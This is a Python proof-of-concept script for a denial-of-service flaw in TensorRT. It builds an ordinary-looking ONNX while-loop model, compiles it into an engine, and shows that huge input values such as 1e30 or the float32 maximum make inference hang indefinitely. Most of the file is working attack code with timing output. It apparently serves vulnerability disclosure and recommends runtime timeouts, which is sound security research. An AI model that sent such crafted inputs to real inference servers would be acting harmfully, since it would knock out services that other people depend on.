vuln004_input_dos.py

"""
VULN-004 PoC: TensorRT Input-Controlled Denial of Service via While-Loop Models

A structurally valid ONNX model using a condition-dependent Loop operator hangs
indefinitely during inference when given a malicious input value. The model itself
is indistinguishable from a legitimate while-loop model.

This is DISTINCT from VULN-003 (static Loop trip count):
- VULN-003: Malicious MODEL with INT64_MAX max_trip_count -> always hangs
- VULN-004: Normal MODEL + malicious INPUT -> hangs based on input value
- VULN-003 fix (validate max_trip_count at build) does NOT prevent VULN-004
- VULN-004 requires runtime protection (inference timeout / iteration budget)

Attack scenarios:
1. Production model uses while-loop for variable-length processing
2. Attacker sends input with extreme counter value (e.g., 1e30)
3. Inference hangs indefinitely — DoS on the inference server
4. Affects TensorRT-LLM (autoregressive generation uses loops)
5. Affects any TRT model with data-dependent loop termination

Impact:
- Any TRT model using condition-dependent loops is vulnerable
- Attacker only needs to craft the INPUT, not the model
- Tiny payload (single float32 value) causes permanent hang
- No inference timeout in execute_async_v3()
"""
import os
import sys
import time
import subprocess
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper

POC_DIR = os.path.dirname(os.path.abspath(__file__))


def create_while_loop_model():
    """Create a LEGITIMATE while-loop model that counts down a counter.

    This is a common pattern in ML models for variable-length processing.
    The model decrements a counter each iteration, stopping when it reaches 0.
    With a normal counter (e.g., 10), it runs 10 iterations and returns 0.
    With a malicious counter (e.g., 1e30), it hangs for astronomical time.
    """
    # Loop body: decrement counter, check if > 0
    body = helper.make_graph(
        [
            # x_out = x_in - 1.0
            helper.make_node('Sub', ['x_in', 'one'], ['x_out']),
            # cond_out = (x_out > 0.0)
            helper.make_node('Greater', ['x_out', 'zero'], ['cond_out']),
        ],
        'while_body',
        [helper.make_tensor_value_info('i', TensorProto.INT64, []),
         helper.make_tensor_value_info('cond_in', TensorProto.BOOL, []),
         helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [])],
        [helper.make_tensor_value_info('cond_out', TensorProto.BOOL, []),
         helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [])],
        [numpy_helper.from_array(np.array(1.0, dtype=np.float32), 'one'),
         numpy_helper.from_array(np.array(0.0, dtype=np.float32), 'zero')]
    )

    # Main graph: Loop with max_trip=INT64_MAX, condition-dependent termination
    X = helper.make_tensor_value_info('counter', TensorProto.FLOAT, [])
    Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [])

    # max_trip_count is INT64_MAX but the loop is expected to terminate via condition
    max_trip = numpy_helper.from_array(
        np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
    )
    cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')

    loop = helper.make_node(
        'Loop', ['max_trip', 'cond_init', 'counter'], ['output'],
        body=body
    )

    graph = helper.make_graph([loop], 'while_loop', [X], [Y], [max_trip, cond_init])
    model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
    model.ir_version = 7
    return model


def create_accumulator_model():
    """A more realistic model: accumulates values until threshold is reached.

    Simulates a model that processes elements until a running sum exceeds a target.
    With normal input (target=100), terminates quickly.
    With malicious input (target=1e38), hangs effectively forever.
    """
    body = helper.make_graph(
        [
            # acc_out = acc_in + step
            helper.make_node('Add', ['acc_in', 'step'], ['acc_out']),
            # cond_out = (acc_out < target_in)
            helper.make_node('Less', ['acc_out', 'target_in'], ['cond_out']),
        ],
        'accum_body',
        [helper.make_tensor_value_info('i', TensorProto.INT64, []),
         helper.make_tensor_value_info('cond_in', TensorProto.BOOL, []),
         helper.make_tensor_value_info('acc_in', TensorProto.FLOAT, []),
         helper.make_tensor_value_info('target_in', TensorProto.FLOAT, [])],
        [helper.make_tensor_value_info('cond_out', TensorProto.BOOL, []),
         helper.make_tensor_value_info('acc_out', TensorProto.FLOAT, []),
         helper.make_tensor_value_info('target_in', TensorProto.FLOAT, [])],
        [numpy_helper.from_array(np.array(1.0, dtype=np.float32), 'step')]
    )

    acc_init = helper.make_tensor_value_info('init_value', TensorProto.FLOAT, [])
    target = helper.make_tensor_value_info('target', TensorProto.FLOAT, [])
    acc_out = helper.make_tensor_value_info('final_acc', TensorProto.FLOAT, [])
    target_out = helper.make_tensor_value_info('target_passthrough', TensorProto.FLOAT, [])

    max_trip = numpy_helper.from_array(
        np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
    )
    cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')

    loop = helper.make_node(
        'Loop', ['max_trip', 'cond_init', 'init_value', 'target'],
        ['final_acc', 'target_passthrough'],
        body=body
    )

    graph = helper.make_graph(
        [loop], 'accumulator',
        [acc_init, target],
        [acc_out, target_out],
        [max_trip, cond_init]
    )
    model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
    model.ir_version = 7
    return model


def build_engine(model_path, engine_path):
    """Build TensorRT engine from ONNX model."""
    import tensorrt as trt

    logger = trt.Logger(trt.Logger.WARNING)
    builder = trt.Builder(logger)
    network = builder.create_network(
        1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
    )
    parser = trt.OnnxParser(network, logger)

    if not parser.parse_from_file(model_path):
        for i in range(parser.num_errors):
            print(f"  Parse error: {parser.get_error(i)}")
        return False

    config = builder.create_builder_config()
    config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 24)

    serialized = builder.build_serialized_network(network, config)
    if not serialized:
        print("  Build failed")
        return False

    with open(engine_path, 'wb') as f:
        f.write(bytes(serialized))
    return True


def test_inference(engine_path, counter_value, timeout=15):
    """Run inference with a specific counter value."""
    script = f'''
import tensorrt as trt, torch, sys, time

with open(r"{engine_path}", "rb") as f:
    data = f.read()

logger = trt.Logger(trt.Logger.ERROR)
runtime = trt.Runtime(logger)
engine = runtime.deserialize_cuda_engine(data)
if not engine:
    print("DESER_FAIL"); sys.exit(1)

context = engine.create_execution_context()
device = torch.device("cuda:0")

counter = torch.tensor({counter_value}, dtype=torch.float32, device=device)
output = torch.empty(1, dtype=torch.float32, device=device)

context.set_tensor_address("counter", counter.data_ptr())
context.set_tensor_address("output", output.data_ptr())

stream = torch.cuda.current_stream()
print("INFERENCE_STARTED")
sys.stdout.flush()
start = time.time()
context.execute_async_v3(stream.cuda_stream)
stream.synchronize()
elapsed = time.time() - start
print(f"DONE time={{elapsed:.3f}}s output={{output.item():.1f}}")
'''
    start = time.time()
    try:
        r = subprocess.run(
            [sys.executable, "-c", script],
            capture_output=True, text=True, timeout=timeout
        )
        elapsed = time.time() - start
        return False, elapsed, r.stdout.strip(), r.returncode
    except subprocess.TimeoutExpired:
        elapsed = time.time() - start
        return True, elapsed, "TIMEOUT", -1


def main():
    print("=" * 70)
    print("VULN-004: Input-Controlled DoS via While-Loop Models")
    print("=" * 70)

    # Step 1: Create the while-loop model
    model = create_while_loop_model()
    onnx_path = os.path.join(POC_DIR, "while_loop.onnx")
    with open(onnx_path, 'wb') as f:
        f.write(model.SerializeToString())

    onnx_size = os.path.getsize(onnx_path)
    print(f"\n[1] While-loop ONNX model: {onnx_path}")
    print(f"    Size: {onnx_size} bytes")
    print(f"    Behavior: Counts down from input value to 0")
    print(f"    Structure: Perfectly valid -- common ML pattern")

    # Step 2: Build TensorRT engine
    engine_path = os.path.join(POC_DIR, "while_loop.engine")
    print(f"\n[2] Building TensorRT engine...")
    if not build_engine(onnx_path, engine_path):
        print("    ERROR: Build failed")
        sys.exit(1)

    engine_size = os.path.getsize(engine_path)
    print(f"    Engine: {engine_path}")
    print(f"    Size: {engine_size} bytes")
    print(f"    Build completed normally -- model is structurally valid")

    # Step 3: Normal usage (benign inputs)
    print(f"\n[3] Normal inference with benign inputs")
    for counter_val in [10, 100, 1000]:
        hung, elapsed, out, rc = test_inference(engine_path, float(counter_val), timeout=10)
        lines = out.split('\n')
        result = lines[-1] if lines else f"rc={rc}"
        print(f"    counter={counter_val:>6d}: {result} ({elapsed:.2f}s)")

    # Step 4: DoS attack (malicious input)
    print(f"\n[4] DoS attack with malicious inputs")
    for counter_val, desc in [
        (1e6, "1 million iterations"),
        (1e9, "1 billion iterations"),
        (1e15, "1 quadrillion iterations"),
        (1e30, "1e30 iterations (astronomical)"),
        (3.4e38, "FLT_MAX iterations (maximum float32)"),
    ]:
        hung, elapsed, out, rc = test_inference(engine_path, counter_val, timeout=15)
        if hung:
            print(f"    counter={counter_val:>12.0e}: TIMEOUT after {elapsed:.1f}s — HANGING")
        else:
            lines = out.split('\n')
            result = lines[-1] if lines else f"rc={rc}"
            print(f"    counter={counter_val:>12.0e}: {result} ({elapsed:.1f}s)")

    # Step 5: Show the attack is input-dependent
    print(f"\n[5] Same model, same engine — behavior depends entirely on input")
    print(f"    counter=10    -> completes instantly (10 iterations)")
    print(f"    counter=1e30  -> hangs for 1e30 iterations")
    print(f"    At 1 billion iterations/sec: 3.17e13 YEARS")

    # Summary
    print(f"\n{'='*70}")
    print("VULNERABILITY SUMMARY")
    print(f"{'='*70}")
    print(f"[!!!] Input-controlled DoS via while-loop model")
    print(f"[!!!] Model is structurally VALID — cannot be detected by static analysis")
    print(f"[!!!] ONNX size: {onnx_size} bytes  |  Engine size: {engine_size} bytes")
    print(f"[!!!] DoS triggered by input value, NOT by model structure")
    print(f"[!!!] VULN-003 fix (validate max_trip_count) does NOT prevent this")
    print(f"[!!!] Requires runtime protection: inference timeout / iteration budget")
    print(f"[!!!] Affects any TRT model using data-dependent loops")
    print(f"[!!!] Relevant to TensorRT-LLM autoregressive generation")

    # Cleanup temp files
    # Keep the while_loop files as evidence


if __name__ == "__main__":
    main()